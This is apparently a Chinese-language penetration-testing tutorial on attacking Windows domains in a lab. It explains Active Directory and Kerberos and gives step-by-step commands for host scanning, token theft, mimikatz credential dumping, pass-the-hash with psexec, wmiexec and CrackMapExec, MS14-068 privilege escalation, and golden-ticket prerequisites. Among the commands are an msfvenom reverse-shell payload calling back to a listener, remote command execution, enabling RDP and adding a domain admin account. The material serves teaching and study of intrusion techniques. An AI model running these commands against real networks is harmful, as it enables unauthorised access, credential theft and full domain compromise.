内网渗透
内网基础知识
工作组
工作组:工作组是局域网中的一个概念,他是长久的资源管理模式。默认情况下使用工作组方式进行资源管理,将不同的 computer 按照不同的要求分类到不同的组
域
域:用来描述一种架构,和“工作组”相对应,由工作组升级而来的高级架构,域 (Domain)是一个有安全边界的计算机集合( 安全边界,意思是在两个域中,一个域中的用户无法访问另一个域中的资源)。可以简单的把域理解成升级版的“工作组”,相比工作组而言,它有一个**更加严格的安全管理控制机制**,如果你想访问域内的资源,就必须拥有一个合法的身份登陆到该域中,而你对该域内的资源拥有什么样的权限,还需要取决于你在该域中的用户身份。
域的几种环境
- 单域
通常一个小公司,一般一个域就可以,一个域内,要至少两台域服务器,一 台作为域控制器,另一台当备份。
父域和子域
域森林
指的是多个域树通过建立信任关系组成的集合 比如:一个公司并购其他公司
域名服务器DNS
从对域树的介绍中来看出,域树中的域名和 DNS 域名非常相似。而实际上,因为域名的计算机是使用 DNS 来定位域控制器、服务器及其他计算机、网络服务的,所以域的名字就是 DNS 域的名字。
在内网渗透测试中,大都是通过寻找 DNS 服务器来确定域控制器的位置的{DNS 服务器和域控制器通常配置在同一台机器上}
域术语
DC:域控,域的创建者
域管理:域控上的管理员
AD 活得目录:Active Directory
NTDS.dit:域用户帐户以域数据库的形式保存在活动目录中
Ntdsutil.exe-ntdsutil.exe 是域控制器自带的域数据库管理工具,从 windows Server 2008 开始就默认自带了。因此我们可以通过 ntdsutil.exe 提取出域中所有 的域用户信息
常见结构:组织单元(OU)、域(DOMAIN)、域树(tree)、域森林(forest),在域树内的 所有域共享一个活动目录,这个活动目录内的数据分散地存储在各个域内,且每一 个域只存储该域内的数据
活动目录:
- 帐号集中管理:所有帐号均存在服务器上,方便对帐号的重命名/重置密码。
- 软件集中管理:统一推送软件,统一安装网络打印机等。利用软件发布策略分发 软件,可以让用户自由选择安装软件。
- 环境集中管理:利用 AD 可以统一客户端桌面,IE,TCP/IP 等设置。
- 增强安全性:统一部署杀毒软件和扫毒任务,集中化管理用户的计算机权限、统一制订用户密码策略等,可监控网络,资料统一管理。
- 更可靠:更少的宕机时间。如:利用 AD 控制用户访问权限,利用群集、负载均衡等技术对文件服务器进行容灾设定,更可靠,宕机时间更少。
- 活动目录为 Microsoft 统一管理的基础平台,其它 ISA、Exchange、SMS 等服务都依赖于这个基础平台。
内网渗透
域信息收集命令
1 | query user || qwinsta 查看当前在线用户 |
主机发现
在域内进行横行渗透时,首先要收集主机的端口和 ip 信息
net view /domain 查询域内的主机信息
- 发生系统错误 6118 出现这种错误时 Computer Browser 被禁用了 在域管理启用即可

- net view /domain:moonsec

- arp -a 查询通信

- nbtscan 发现主机
nbtscan.exe -r 192.168.0.0/24

- bat 命令发现主机
1 | for /l %i in (1,1,255) do @ping 192.168.0.%i -w 1 -n 1|find /i "ttl=" |

- 通过 powershell 脚本扫描 IP 地址存活:
1 | powershell.exe -exec bypass -Command "Import-Module ./Invoke-TSPingSwee p.ps1;Invoke-TSPingSweep -StartAddress 192.168.1.0 -EndAddress 192.168.1.255" |
脚本下载地址:https://gallery.technet.microsoft.com/scriptcenter/Invoke-TSPingSweep-b71f1b9b
- 用 PowerShell 实现基本的端口扫描功能。
针对单个 IP 的多个端口的扫描:
1 | PS C:\Users\Bypass> 1..1024 | % {echo ((new-object Net.Sockets.TcpClien t).Connect("192.168.246.44",$_)) "Port $_ is open!"} 2>$null |
针对某 IP 段中单个端口的扫描:
1 | foreach ($ip in 1..20) {Test-NetConnection -Port 80 -InformationLevel " Detailed" 192.168.1.$ip} |
基于 MSF 的内网主机探测
使用 msf 进行反弹 shell 进行内网渗透时,通过 msf 自带的扫描模块进行快速扫描。
主机存活探测:
1 | 使用use来使用模块 |
端口扫描:
1 | auxiliary/scanner/portscan/ack TCP ACK 端口扫描 |
Nmap
Nmap 是一个端口扫描器,可用于主机发现、端口扫描、版本检测、OS 检测等。
使用场景:建立 socks 代理,proxychains+Nmap 扫描内网。
支持多种扫描模式:
1 | -sT: TCP 扫描 |
快速扫描所有端口:
1 | nmap -sS -p 1-65535 -v 192.168.99.177 |
常见端口与服务
| 端口号 | 端口说明 | 攻击技巧 |
|---|---|---|
| 21/22/69 | ftp/tftp:文件传输协 议 | 爆破\嗅探\溢出\后门 |
| 22 | ssh:远程连接 | 爆破 OpenSSH;28个退格 |
| 23 | telnet:远程连接 | 爆破\嗅探 |
| 25 | smtp:邮件服务 | 邮件伪造 |
| 53 | DNS:域名系统 | DNS区域传输\DNS劫持\DNS缓存投毒\DNS欺骗\利用DNS隧道技 术刺透防火墙 |
| 67/68 | dhcp | 劫持\欺骗 |
| 110 | pop3 | 爆破 |
| 139 | samba | 爆破\未授权访问\远程代码执行 |
| 143 | imap | 爆破 |
| 161 | snmp | 爆破 |
| 389 | ldap | 注入攻击\未授权访问 |
| 445 | SMB | 远程代码执行 |
| 512/513/514 | linux r | 直接使用 rlogin |
| 873 | rsync | 未授权访问 |
| 1080 | socket | 爆破:进行内网渗透 |
| 1352 | lotus | 爆破:弱口令\信息泄漏:源代码 |
| 1433 | mssql | 爆破:使用系统用户登录\注入攻击 |
| 1521 | oracle | 爆破:TNS\注入攻击 |
| 2049 | nfs | 配置不当 |
| 2181 | zookeeper | 未授权访问 |
| 3306 | mysql | 爆破\拒绝服务\注入 |
| 3389 | rdp | 爆破\Shift 后门 |
| 4848 | glassfish | 爆破:控制台弱口令\ 认证绕过 |
| 5000 | sybase/DB2 | 爆破\注入 |
| 5432 | postgresql | 缓冲区溢出\注入攻击\ 爆破:弱口令 |
| 5632 | pcanywhere | 拒绝服务\代码执行 |
| 5900 | vnc | 爆破:弱口令\认证绕过 |
| 6379 | redis | 未授权访问\爆破:弱口令 |
| 7001 | weblogic | Java 反序列化\控制台弱口令\控制台部署 webshell |
| 80/443/8080 | web | 常见 web 攻击\控制台爆破\对应服务器版本漏洞 |
| 8069 | zabbix | 远程命令执行 |
| 9080 | websphere | 远程命令执行 |
| 9090 | websphere | 控制台 爆破:控制台弱口令 \Java 反序列 |
| 9200/9300 | elasticsearch | 远程代码执行 |
| 11211 | memcacache | 未授权访问 |
| 27017 | mongodb | 爆破\未授权访问 |
域渗透思路
通过域成员主机,定位出域控制器 IP 及域管理员账号,利用域成员主机作为跳板,扩大渗透范围,利用域管理员可以登陆域中任何成员主机的特性,定位出域管理员登陆过的主机 IP,设法从域成员主机内存中 dump 出域管理员密码,进而拿下域控制器、渗透整个内网
内网渗透 Token
令牌(token)是系统的临时秘钥,相当于账号和密码,用来决定是否允许这次请求 和判断这次请求是属于哪一个用户的。它允许你在不提供密码或其他凭证的前提下,访问网络和系统资源,这些令牌将持续存在于系统中,除非系统重新启动。 令牌最大的特点就是随机性,不可预测,黑客或软件无法猜测出令牌。
假冒令牌可以假冒一个网络中的另一个用户进行各类操作。所以当一个攻击者需要域管理员的操作权限时候,需要通过假冒域管理员的令牌进行攻击。
令牌有很多种:
- 访问令牌(Access Token):表示访问控制操作主体的系统对象
- 会话令牌(Session Token):是交互会话中唯一的身份标识符
- 密保令牌(Security Token):又叫做认证令牌或硬件令牌,是一种计算机身 份校验的物理设备,例如 U 盾
Windows 的 AccessToken 有两种类型:
- Delegation Token:授权令牌,它支持交互式会话登录 (例如本地用户直接 登录、远程桌面登录访问)
- Impresonation Token:模拟令牌,它是非交互的会话 (例如使用 net use 访问共享文件夹)。
注: 两种 token 只在系统重启后清除 具有 Delegation token 的用户在注销后, 该 Token 将变成 Impersonation token,依旧有效
AccessToken 的窃取与利用
AccessToken 的窃取与利用需要 administrator 管理员权限。也就是说要提权。
窃取 AccessToken 的方法:
incognito.exe 程序 、InvokeTokenManipulat.ps1 脚本 、MSF 里的 incognito 模块
1.incognito
程序地址:https://labs.mwrinfosecurity.com/assets/BlogFiles/incognito2.zip
AccessToken 的列举(需要 administrator 权限)
incognito.exe list_tokens -u

操作:模拟其他用户的令牌(复制 token)
如果要使用 AccessToken 模拟其他用户,可以使用命令
1 | incognito.exe execute -c "完整的 Token 名" cmd.exe |
获取域普通用户
1 | incognito.exe execute -c "moonsec\test" cmd.exe |

2.MSF 下的 incognito 模块
1 | use incognito #加载 incognito |
3.msf 令牌实战
msf 生成后门
1 | msfvenom -p windows/x64/meterpreter/reverse_tcp LPORT=6666 LHOST=192.1 68.0.115 -f exe -o msf.exe |
监听端口
1 | msfconsole |

1 | use incognito #进入 incognito 模块 |
列出两种令牌
Delegation Token:也就是授权令牌,它支持交互式登录(例如可以通过远程桌面登录访问)
Impresonation Token:模拟令牌,它是非交互的会话。
伪造令牌
1 | impersonate_token 12SERVER-01\Administrator #假冒 12server-01\adminst rator 的令牌 |

除了可以伪造令牌 也可以从进程里窃取令牌,首先使用 ps 命令列出进程 查看进程 用户使用 steal_token pid 窃取令牌就有对应的权限

从进程窃取令牌
1 | steal_token PID |
返回之前的token
1 | rev2self |

横向渗透
PTH(pass-the-hash) HASH 传递
pass-the-hash 在内网渗透中是一种很经典的攻击方式,原理就是攻击者可以直接通过 LM Hash 和 NTLM Hash 访问远程主机或服务,而不用提供明文密码。
pass the hash 原理:
- 在 Windows 系统中,通常会使用 NTLM 身份认证
- NTLM 认证不使用明文口令,而是使用口令加密后的 hash 值,hash 值由系统 API 生成(例如 LsaLogonUser)
- hash 分为 LM hash 和 NT hash,如果密码长度大于 15,那么无法生成 LM hash。从 Windows Vista 和 Windows Server 2008 开始,微软默认禁用 LM hash
- 如果攻击者获得了 hash,就能够在身份验证的时候模拟该用户(即跳过调用 API 生成 hash 的过程)
这类攻击适用于:
- 域/工作组环境
- 可以获得 hash,但是条件不允许对 hash 爆破
- 内网中存在和当前机器相同的密码
微软也对 pth 打过补丁,然而在测试中发现,在打了补丁后,常规的 Pass The Hash 已经无法成功,唯独默认的 Administrator(SID 500)账号例外,利用这个账号 仍可以进行 Pass The Hash 远程 ipc 连接。
如果禁用了 ntlm 认证,PsExec 无法利用获得的 ntlm hash 进行远程连接,但是使 用 mimikatz 还是可以攻击成功。
从 windows 到 windows 横向 pth 这一类攻击方法比较广泛。
mimitkaz pth
1 | privilege::debug |

得到 hash 后进行模拟用户
1 | privilege::debug |

成功后 会弹出终端 cmd
psexec
psexec 是 windows 官方自带的,不会存在查杀问题,属于 pstools 利用 PsExec 可以在远程计算机上执行命令,其基本原理是通过管道在远程目标主机上创建一个 psexec 服务,并在本地磁盘中生成一个名为 PSEXESVC 的二进制文件,然后通过 psexec 服务运行命令,运行结束后删除服务。
利用 SMB 服务可以通过明文或 hash 传递来远程执行,条件 445 服务端口开放。 对方开放 445 端口,就相当于开放了 smb 协议
psexec 第一种:先有 ipc 链接,psexec 需要明文或 hash 传递
1 | PsExec64.exe /accepteula /s \\192.168.0.123 -u Administrator -p 123456 cmd |

下图建立在明文之上

下图是在 hash 下进行登录
1 | psexec -hashes aad3b435b51404eeaad3b435b51404ee:32ed87bdb5fdc5e9cba88547376818d4 ./Administrator@192.168.0.123 |

出现这个错误可以使用 impacket 这个工具包下的 psexec 进行利用
1 | python3 psexec.py -hashes aad3b435b51404eeaad3b435b51404ee:32ed87bdb5fdc5e9cba88547376818d4 ./Administrator@192.168.0.123 |

在使用 PsExec 时需要注意以下几点:
- 需要远程系统开启 admin 共享(默认是开启的)
- 因为 PsExec 连接的原理是基于 IPC 共享,因此目标需要开放 445 端口
- 在使用 IPC$ 连接目标系统后,不需要输入账户和密码。
- 在使用 PsExec 执行远程命令时,会在目标系统中创建一个 psexec 的服务, 命令执行完后,psexec 服务将被自动删除。由于创建或删除服务时会产生 大量的日志,因此蓝队在溯源时可以通过日志反推攻击流程。
- 使用 PsExec 可以直接获得 System 权限的交互式 Shell 的前提目标是 administrator 权限的 shell
- 在域环境测试时发现,非域用户无法利用内存中的票据使用 PsExec 功能, 只能依靠账号和密码进行传递。
登陆域管理命令
impacket 下的 psexec
python3 psexec.py moonsec/Administrator@192.168.0.142
执行命令后输入密码
登陆其他主机管理员 d
psexec /accepteula /s \12server1 -u Administrator -p 123456 cmd
使用 msf hash 模块
msf 生成后门
1 | msfvenom -p windows/x64/meterpreter/reverse_tcp LPORT=6666 LHOST=192.168.0.115 -f exe -o msf.exe |
监听端口
1 | msfconsole |
监听到之后
1 | hashdump //导出hash |
使用psexec模块
1 | use exploit/windows/smb/psexec |

CrackMapExec
CrackMapExec 可以对 C 段中的主机进行批量 pth
项目地址:https://github.com/byt3bl33d3r/CrackMapExec.git
使用命令:
1 | crackmapexec smb 192.168.0.0/24 -u administrator -H 32ed87bdb5fdc5e9cba88547376818d4 |
对 192.168.9.0/24 C 段进行批量 pass the hash

WMI
WMI 全称 Windows Management Instrumentation 即 Windows 管理工具, Windows 98 以后的操作系统都支持 WMI。
由于 Windows 默认不会将 WMI 的操作记录在日志里,同时现在越来越多的杀软将 PsExec 加入了黑名单,因此 WMI 比 PsExec 隐蔽性要更好一些。
wmic 命令
WMI 连接远程主机,并使用目标系统的 cmd.exe 执行命令,将执行结果保存在目标主机 C 盘的 ip.txt 文件中
使用 WMIC 连接远程主机,需要目标主机开放 135 和 445 端口 ( 135 端⼝是 WMIC 默认的管理端口,wimcexec 使用445 端口传回显)
1 | wmic /node:192.168.0.141 /user:administrator /password:123456 process call create "cmd.exe /c ipconfig > c:\ip.txt" |

之后建立 IPC$ ,使用 type 读取执行结果
1 | net use \\192.168.0.141\ipc$ "123456" /user:administrator |

wmiexec.py
在 impacket 工具包里有 wmiexec.py 脚本,可以用来直接获取 shell 其他攻击手法可以看下 readme,这里只简单的对 pth 做一下实验:
1 | python3 wmiexec.py -hashes aad3b435b51404eeaad3b435b51404ee:32ed87bdb5fdc5e9cba88547376818d4 Administrator@192.168.0.141 "whoami" |
-hashes aad3b435b51404eeaad3b435b51404ee:32ed87bdb5fdc5e9cba88547376818d4:
//这部分指定了 NTLM 哈希认证
aad3b435b51404eeaad3b435b51404ee是一个固定值,表示密码为空的 NTLM 哈希;32ed87bdb5fdc5e9cba88547376818d4是目标用户(此处为Administrator)的 NTLM 哈希值。
wmiexec.py 的 hash 参数格式为 LM Hash:NT Hash 00000000000000000000000000000000 这个部分可以随便填写

wmiexec.py 明文获取 shell
1 | python3 wmiexec.py administrator:123456@192.168.0.123 |

wmiexec.vbs
VBS文件是指使用VBScript(Visual Basic Scripting Edition)编写的脚本文件。VBScript是一种轻量级的脚本语言,由微软开发,主要用于网页开发和自动化任务。VBS文件的扩展名为.vbs,可以在Windows操作系统中运行。
wmiexec.vbs 脚本通过 VBS 调用 WMI 来模拟 PsExec 的功能
wmiexec.vbs 下载地址:https://github.com/k8gege/K8tools/blob/master/wmiexec.vbs
1 | cscript //nologo wmiexec.vbs /shell 192.168.0.123 administrator 123456 |

使用 vmiexec.vbs 执行单条命令
1 | cscript wmiexec.vbs /cmd 192.168.0.123 administrator 123456 "ipconfig" |

Invoke-WmiCommand
Invoke-WmiCommand.ps1 是 PowerSploit 工具包里的一部分,该脚本是利用 Powershell 调用 WMI 来远程执行命令。
在 Powershell 中运行以下命令
导入 Invoke-WmiCommand.ps1 脚本
1 | Import-Module .\Invoke-WmiCommand.ps1 |
指定目标系统用户名
1 | $User = ".\administrator" |
指定目标系统的密码
1 | $Password = ConvertTo-SecureString -String "123456" -AsPlainText -Force |
将账号和密码整合起来,以便导入 Credential
1 | $Cred = New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList $User,$Password |
指定要执行的命令和目标 IP
1 | $Remote = Invoke-WmiCommand -Payload {ipconfig} -Credential $Cred -Comp uterName 192.168.0.141 |
将执行结果输出到屏幕上
1 | $Remote.PayloadOutput |

Invoke-WMIMethod
Invoke-WMIMethod 是 PowerShell 自带的一个模块,也可以用它来连接远程计算机执行命令和指定程序。
1 | # 指定目标系统用户名 |

可以看到 目标 192.168.0.141 上已经执行了 calc
wmic 的其他命令
使用 wmic 远程开启目标的 RDP(3389)
1 | # 适于 Windows xp、server 2003 |

可以看到目标上的远程终端已经开启。
判断 RDP 有没有开可以使用以下命令,如果返回 0x0 表示开启,返回 0x1 表示关闭。
1 | REG QUERY "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections |

远程重启机子
1 | wmic /node:192.168.0.141 /user:administrator /password:123456 process call create "shutdown.exe -r -f -t 0" |
PTT 票据传递攻击(Pass the Ticket)
Kerberos 协议& Kerberos 认证原理

Kerberos 协议是一种计算机网络授权协议,用来在非安全网络中,对个人通信以安全的手段进行身份认证。其设计目标是通过密钥系统为客户机与服务器应用程序提供强大的认证服务。该协议的认证过程的实现不依赖于主机操作系统的认证,无需基于主机地址的信任,不要求网络上所有主机的物理安全,并假定网络上传送的数据包可以被任意地读取、修改和插入数据。在以上情况下, Kerberos 作为一种可信任的第三方认证服务,是通过传统的密码技术(如:共享密钥)执行认证服务的。Kerberos 协议在在内网域渗透领域中至关重要,白银票据、黄金票据、攻击域控等都离不开 Kerberos 协议

几个关键角色:
| 角色 | 作用 |
|---|---|
| Domain Controller(DC) | 域控制器,简称 DC,一台计算机, 实现用户、计算机的统一管理。 |
| Key Distribution Center | 秘钥分发中心,简称 KDC,默认安装在域控里,包括 AS 和 TGS。 |
| Authentication Service | 身份验证服务,简称 AS,用于 KDC 对 Client 认证。 |
| Ticket Grantng Service | 票据授予服务,简称 TGS,用于 KDC 向 Client 和 Server 分发 Session Key(临时秘钥)。 |
| Active Directory | 活动目录,简称 AD,用于存储用户、用户组、域相关的信息。 |
| Client | 客户端,指用户。 |
| Server | 服务端,可能是某台计算机,也可 能是某个服务。 |
Kerberos 认证原理
总图:

认证过程:d

首先 Client 向域控制器 DC 请求访问 Server,DC 通过去 AD 活动目录中查找依次区分 Client 来判断 Client 是否可信。
认证通过后返回 TGT 给 Client,Client 得到 TGT(Ticket Granting Ticket)。
Client 继续拿着 TGT 请求 DC 访问 Server,TGS 通过 Client 消息中的 TGT, 判断 Client 是否有访问权限。
如果有,则给 Client 有访问 Server 的权限 Ticket,也叫 ST(Service Ticket)。
Client 得到 Ticket 后,再去访问 Server,且该 Ticket 只针对这一个 Server 有效。
最终 Server 和 Client 建立通信。
详细的认证步骤,大概分为三个阶段:
ASREQ & ASREP
TGSREQ & TGSREP
AP-REQ & AP-REP
AS_REQ & AS_REP
该阶段是 Client 和 AS 的认证,通过认证的客户端将获得 TGT 认购权证。

当域内某个客户端用户 Client 访问域内的某个服务,于是输入用户名和密码,此时客户端本机的 Kerberos 服务会向 KDC 的 AS 认证服务发送一个 AS_REQ 认证请求。请求的凭据是 Client 的哈希值 NTLM-Hash 以及哈希值加密的时间戳、Clientinfo、Server-info 等数据,以及一些其他信息。
当 Client 发送身份信息给 AS 后,AS 会先向活动目录 AD 请求,询问是否有此 Client 用户,如果有的话,就会取出它的 NTLM-Hash,并对 AS_REQ 请求中加密的时间戳进行解密,如果解密成功,则证明客户端提供的密码正确,如果时间戳在五分钟之内,则预认证成功。然后 AS 会生成一个临时秘钥 Session-Key AS,并使用客户端 Client 的 NTLM-Hash 加密 Session-key AS 作为响应包的一部分内容。此 Session-key AS 用于确保客户端和 TGS 之间的通信安全。
还有一部分内容就是 TGT:使用 KDC 一个特定账户的 NTLM-Hash 对 Session-key AS、时间戳、Client-info 进行的加密。这个特定账户就是创建域控时自动生成的 Krbtgt 用户,然后将这两部分以及 PAC 等信息回复给 Client,即 AS_REP。PAC 中包含的是用户的 SID、用户所在的组等一些信息。
AS-REP 中最核心的东西就是 Session-key 和 TGT。我们平时用 Mimikatz、kekeo、rubeus 等工具生成的凭据是 .kirbi 后缀,Impacket 生 成的凭据的后缀是 .ccache。这两种票据主要包含的都是 Session-key 和 TGT,因此可以相互转化。
至此,Kerberos 认证的第一步完成。
TGS_REQ & TGS_REP
该阶段是 Client 和 TGS 的认证,通过认证的客户端将获得 ST 服务票据。

客户端 Client 收到 AS 的回复 AS_REP 后分别获得了 TGT 和加密的 Session-Key AS。它会先用自己的 Client NTLM-hash 解密得到原始的 Session-Key AS,然后它会在本地缓存此 TGT 和原始的 Session-Key AS,如果现在它就需要访问某台服务器上的服务,他就需要凭借这张 TGT 认购凭证向 TGS 购买相应的 ST 服务票据(也叫Ticket)。
此时 Client 会使用 Session-Key AS 加密时间戳、Client-info、Server-info 等数据作为一部分。由于 TGT 是用 Krbtgt 账户的 NTLM-Hash 加密的,Client 无法解密,所以 Client 会将 TGT 作为另一部分继续发送给 TGS。两部分组成的请求被称为 TGS_REQ。
TGS 收到该请求,用 Krbtgt 用户的 NTLM-hash 先解密 TGT 得到 Session-key AS、 时间戳、Client-info 以及 Server-info。再用 Session-key AS 解密第一部分内容,得到 Client-info、时间戳。然后将两部分获取到时间戳进行比较,如果时间戳跟当前时间相差太久,就需要重新认证。TGS 还会将这个 Client 的信息与 TGT 中的 Client 信息进行比较,如果两个相等的话,还会继续判断 Client 有没有权限访问 Server, 如果都没有问题,认证成功。认证成功后,TGS 会生成一个 Session-key TGS,并用 Session-key AS 加密 Session-key TGS 作为响应的一部分。此 Session-key TGS 用于确保客户端和服务器之间的通信安全。
另一部分是使用服务器 Server 的 NTLM-Hash 加密 Session-key TGS、时间戳以及 Client-info 等数据生成的 ST。然后 TGS 将这两部分信息回复给 Client,即 TGS_REP。
至此,Client 和 KDC 的通信就结束了,然后是和 Server 进行通信。
AP-REQ & AP-REP
该阶段是 Client 和 TGS 的认证之后,通过认证的客户端将与服务器建立连接。

客户端 Client 收到 TGS_REP 后,分别获得了 ST 和加密的 Session-Key TGS。它会先使用本地缓存了的 Session-key AS 解密出了原始的 Session-key TGS。然后它会在本地缓存此 ST 和原始的 Session-Key TGS,当客户端需要访问某台服务器上的服务时会向服务器发送请求。它会使用 Session-key TGS 加密 Client-info、时间戳等信息作为一部分内容。ST 因为使用的是 Server NTLM-hash 进行的加密,无法解密,所以会原封不动发送给 Server。两部分一块发送给 Server,这个请求即是 AP_REQ
Server 收到 AP_REQ 请求后,用自身的 Server NTLM-Hash 解密了 ST,得到 Session-Key TGS,再解密出 Client-info、时间戳等数据。然后与 ST 的 Clientinfo、时间戳等进行一一对比。时间戳有效时间一般时间为 8 小时。通过客户端身份验证后,服务器 Server 会拿着 PAC 去询问 DC 该用户是否有访问权限,DC 拿到 PAC 后进行解密,然后通过 PAC 中的 SID 判断用户的用户组信息、用户权限等信息,然后将结果返回给服务端,服务端再将此信息域用户请求的服务资源的 ACL 进行对比,最后决定是否给用户提供相关的服务。通过认证后 Server 将返回最终的 AP-REP 并与 Client 建立通信
PAC
Kerberos 认证流程的中提到了 PAC(Privilege Attribute Certificate),这是微软为了访问控制而引进的一个扩展,即特权访问证书。
在上面的认证流程中,如果没有 PAC 的访问控制作用的话,只要用户的身份验证正确,那么就可以拿到 TGT,有了 TGT,就可以拿到 ST,有了 ST ,就可以访问服务了。此时任何一个经过身份验证的用户都可以访问任何服务。像这样的认证只解决了 “Who am i?” 的问题,而没有解决 “What can I do?” 的问题。
为了解决上面的这个问题,微软引进了 PAC。即 KDC 向客户端 Client 返回 AS_REP 时插入了 PAC,PAC 中包含的是用户的 SID、用户所在的组等一些信息。当最后服务端 Server 收到 Client 发来的 AP_REQ 请求后,首先会对客户端身份验证。通过客户端身份验证后,服务器 Server 会拿着 PAC 去询问 DC 该用户是否有访问权限, DC 拿到 PAC 后进行解密,然后通过 PAC 中的 SID 判断用户的用户组信息、用户权限等信息,然后将结果返回给服务端,服务端再将此信息域用户请求的服务资源的 ACL 进行对比,最后决定是否给用户提供相关的服务。
但是在有些服务中并没有验证 PAC 这一步,这也是白银票据能成功的前提,因为就算拥有用户的 Hash,可以伪造 TGS,但是也不能制作 PAC, PAC 当然也验证不成功,但是有些服务不去验证 PAC,这是白银票据成功的前提。
Kerberos 认证中的相关安全问题概述
Kerberos 认证并不是天衣无缝的,这其中也会有各种漏洞能够被我们利用,比如我们常说的 MS14-068、黄金票据、白银票据等就是基于 Kerberos 协议进行攻击的。下面我们便来大致介绍一下 Kerberos 认证中的相关安全问题。
黄金票据(Golden ticket)
在 Windows 的 kerberos 认证过程中,Client 将自己的信息发送给 KDC,然后 KDC 使用 Krbtgt 用户的 NTLM-Hash 作为密钥进行加密,生成 TGT。那么如果获取到了 Krbtgt 的 NTLM-Hash 值,不就可以伪造任意的 TGT 了吗。因为 Krbtgt 只有域控制器上面才有,所以使用黄金票据意味着你之前拿到过域控制器的权限,黄金凭据可 以理解为一个后门。
先假设这么一种情况,原先已拿到的域内所有的账户 Hash,包括 Krbtgt 这个账 户,由于有些原因导致你对域管权限丢失,但好在你还有一个普通域用户权限,碰巧管理员在域内加固时忘记重置 Krbtgt 密码,基于此条件,我们还能利用该票据重新获得域管理员权限。利用 Krbtgt 的 Hash 值可以伪造生成任意的 TGT,能够绕过对任意用户的账号策略,让用户成为任意组的成员,可用于 Kerberos 认证的任何服务。
白银票据(Silver ticket)
白银票据不同于黄金票据,白银票据的利用过程是伪造 TGS,通过已知的授权服务密码生成一张可以访问该服务的 TGT。因为在票据生成过程中不需要使用KDC,所以可以绕过域控制器,很少留下日志。而黄金票据在利用过程中由 KDC 颁发 TGT,并且在生成伪造的 TGT 的20 分钟内,TGS 不会对该 TGT 的真伪进行效验。
白银票据依赖于服务账号的密码散列值,这不同于黄金票据利用需要使用 Krbtgt 账号的密码哈希值,因此更加隐蔽。
MS14-068
这里便用到了我们之前所讲到的 PAC 这个东西,PAC 是用来验证 Client 的访问权限的,它会被放在 TGT 里发送给 Client,然后由 Client 发送给 TGS。但也恰恰是这 个 PAC 造成了 MS14-068 这个漏洞。
该漏洞是位于 kdcsvc.dll 域控制器的密钥分发中心(KDC)服务中的 Windows 漏 洞,它允许经过身份验证的用户在其获得的票证 TGT 中插入任意的 PAC 。普通用 户可以通过呈现具有改变了 PAC 的 TGT 来伪造票据获得管理员权限。
密码喷洒攻击(Password Spraying)
在实际渗透中,许多渗透测试人员和攻击者通常都会使用一种被称为 “密码喷洒” (Password Spraying)的技术来进行测试和攻击。对密码进行喷洒式的攻击,这个叫法很形象,因为它属于自动化密码猜测的一种。这种针对所有用户的自动密码猜测通常是为了避免帐户被锁定,因为针对同一个用户的连续密码猜测会导致帐户被锁定。所以只有对所有用户同时执行特定的密码登录尝试,才能增加破解的概率,消除帐户被锁定的概率。普通的爆破就是用户名固定,爆破密码,但是密码喷洒,是用固定的密码去跑用户名。
AS-REP Roasting
我们前文说过,AS_REQ & AS_REP 认证的过程是 Kerberos 身份认证的第一步,该过程又被称为预身份验证。预身份验证主要是为了防止密码脱机爆破。
而如果域用户设置了选项 “Do not require Kerberos preauthentication”(该选项默认没有开启)关闭了预身份验证的话,攻击者可以使用指定的用户去请求票据,向域控制器发送 AS_REQ 请求,此时域控会不作任何验证便将 TGT 票据和加密的 Session-key 等信息返回。因此攻击者就可以对获取到的加密 Session-key 进行离线破解,如果爆破成功,就能得到该指定用户的明文密码。
这种攻击方式被称作 AS-REP Roasting 攻击。
票据传递攻击
黄金票据 Golden ticket
1.原理
在 Kerberos 认证中,Client 通过 AS(身份认证服务)认证后,AS 会给 Client 一个 Logon Session Key 和 TGT,而 Logon Session Key 并不会保存在 KDC 中,krbtgt 的 NTLM Hash 又是固定的,所以只要得到 krbtgt 的 NTLM Hash,就可以伪造 TGT 和 Logon Session Key 来进入下一步 Client 与 TGS 的交互。而且有了金票后,就可以跳过 AS 验证,不用验证账户和密码,所以也不担心域管密码修改
2.特点
不需要与 AS 进行交互
需要用户 krbtgt 的 Hash
3.具体操作介绍
一、伪造凭据,提升域内普通用户的权限
整体思路:
如果当前用户为域用户,可以直接用 whoami /user 获取sid
如果不是只是本地用户可以用mimikatz 抓取本地的域用户密码,记住mimikatz要有管理员权限不然无法抓取内存密码,可以以管理员权限运行。
输入privilege::debug 权限提升,在输入log 会在当前文件夹下生成后面命令执行的结果方便我们查找数据,最后输入sekurlsa::logonPasswords 抓取密码,会在当前目录生成mimikatz 日志文件, 成功获取到明文密码,也获取了域用户sid 和域控主机名
利用ms14-068.exe 工具生成伪造的kerberos协议认证证书
1 | ms-14-068.exe -u 域用户@域控名 -p 域用户密码 -s 域用户sid -d 域ip |
利用mimikatz.exe将证书写入,从而提升为域管理员
1 | kerberos::ptc 你的证书名字 |
写入成功后,使用PsExec.exe以管理员权限运行连接域控
实例:
我们现在以一个本地 administrator 用户登录域内的一个主机中。

通过命令:net config workstation,可知域名为:moonhack 和其他信息。

通过命令:nltest /dsgetdc:域名,可知 DC 主机名为:moonhack

上传 mimikatz,以管理员权限运行 CMD,再去执行 mimikatz:
1 | mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" "exit">log.txt |
这里利用 MS14-068 来提权,先检查下是否有 MS14-068, CVE 编号 CVE-2014-6324,,补丁为 3011780 : systeminfo |find "3011780",**如果返回为空就说明没有打补丁**,存在漏洞,需要注意的是域内普通用户提权成功后是有时效性的

访问 08server-ad 失败,提示拒绝访问

上传 mimikatz 和 MS14-068 提权工具,whoami /user 或者 whoami/all 查看 test 用户的 suid:

使用 MS14-068 伪造票据:
执行命令:ms14-068.exe -u test@moonhack.com -p 123456 -s S-1-5-21-3439616436-2844000184-3841763578-1105 -d 08server-ad.moonhack.com,会在当前目录下生成一个凭证。
使用方法:
1 | ms14-068.exe -u 域成员名@域名 -p 域成员密码 -s 域成员sid(普通域成员) -d 域控制器地址 |
使用 mimikatz 清空之前缓存的凭证,导入伪造的凭证,从而提升为域管理员
1 | mimikatz # kerberos::purge //清空票据 |

再输入 dir \\08server-ad.moonhack.com\c$,发现访问成功,现在我们有访问域控的权限:

也可以使用PsExec.exe以管理员权限运行连接域控
1 | PsExec64.exe \\08server-dc.moonsec.fbi cmd.exe |
添加域管账号密码
1 | net user moonsec123 Qwe123... /add /domain |
二、伪造金票
伪造金票的所需条件
1、域名称
2、域的 SID 值
3、域的 KRBTGT 账号的 HASH
